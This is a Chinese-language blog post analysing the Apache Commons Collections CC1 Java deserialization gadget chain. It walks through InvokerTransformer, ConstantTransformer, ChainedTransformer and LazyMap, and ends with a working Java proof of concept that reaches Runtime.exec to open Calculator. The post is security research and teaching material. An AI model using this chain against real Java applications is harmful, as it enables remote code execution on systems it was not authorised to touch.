CC1攻击链分析

CC1攻击链分析

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。

InvokerTransformer

Transformer接口

public interface Transformer {
    public Object transform(Object input);
}

 

反序列化攻击中之所以能够执行任意代码,主要就是靠InvokerTransformer这个类。我们直接找到InvokerTransformer.Class文件,看它的transform方法。

这段代码的大概意思是通过反射的方式获取类,方法,然后实例化执行方法。在实例化时需要传入三个参数,iMethodName(方法名)、iParamTypes(参数类型)、iArgs(方法参数)。

 

input参数是初始化的一个实例化对象,反射调用的是其方法。

 

 当我们回调transform方法时,就会执行input对象的iMethodName,而input是可控的。

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer类的transform方法会返回构造函数传入的参数。

Transform方法会把传入的实例化参数原样返回。

ChainedTransformer

 

该类实例化传入一个Transformer类型的数组,对每个传入的transformer都执行一遍transform方法,第一个对象调用transform方法时的参数是用户传入的。

 

由这三个transformer组合起来,即可实现任意命令执行,然后我们只需要找到有哪些类调用了transform方法

Lazymap

在yso中主要是通过Lazymap来构造poc。

Lazymap是CC1中的集合类,只有去调用时才会去加载。

然后进入到Lazymap.Class文件,可以看到get方法调用了transform方法。

如果不存在这个key就进入到这个函数中执行key。

继续跟进factory,发现在decorate进行了初始化,并实例化了一个Lazymap

到这里大概的思路就是

Lazymap中的get方法调用了InvokerTransformer类中的transform方法,从而造成任意代码执行,然后我们在找到在反序列化中调用了Lazymap的get()方法的一个类

POC编写

 

这里在调用transform方法的时候,需要传递一个Runtime.getRuntime();这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小。实现在反序列化时就能够rce,所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类。

相当于把java.lang.Runtime类写入到ConstantTransformer中,因为ConstantTransformer类是原封不动返回数据,原样输出。

搭配ChainedTransformer:

然后我们需要找到一个方法,能够获取到Runtime.getRuntime()的返回结果,并将其传入到InvokerTransformer的transform中。

完整代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.util.HashMap;

public class demo4 {
    public static void main(String[] args) {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {null,new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        chain.transform(123);
    }
}

 


 

参考链接:

https://xz.aliyun.com/t/6787

https://paper.seebug.org/1242/#_6

https://www.freebuf.com/vuls/170344.html

posted @ 2021-02-24 10:52  蹲在路边吃红薯  阅读(664)  评论(0)    收藏  举报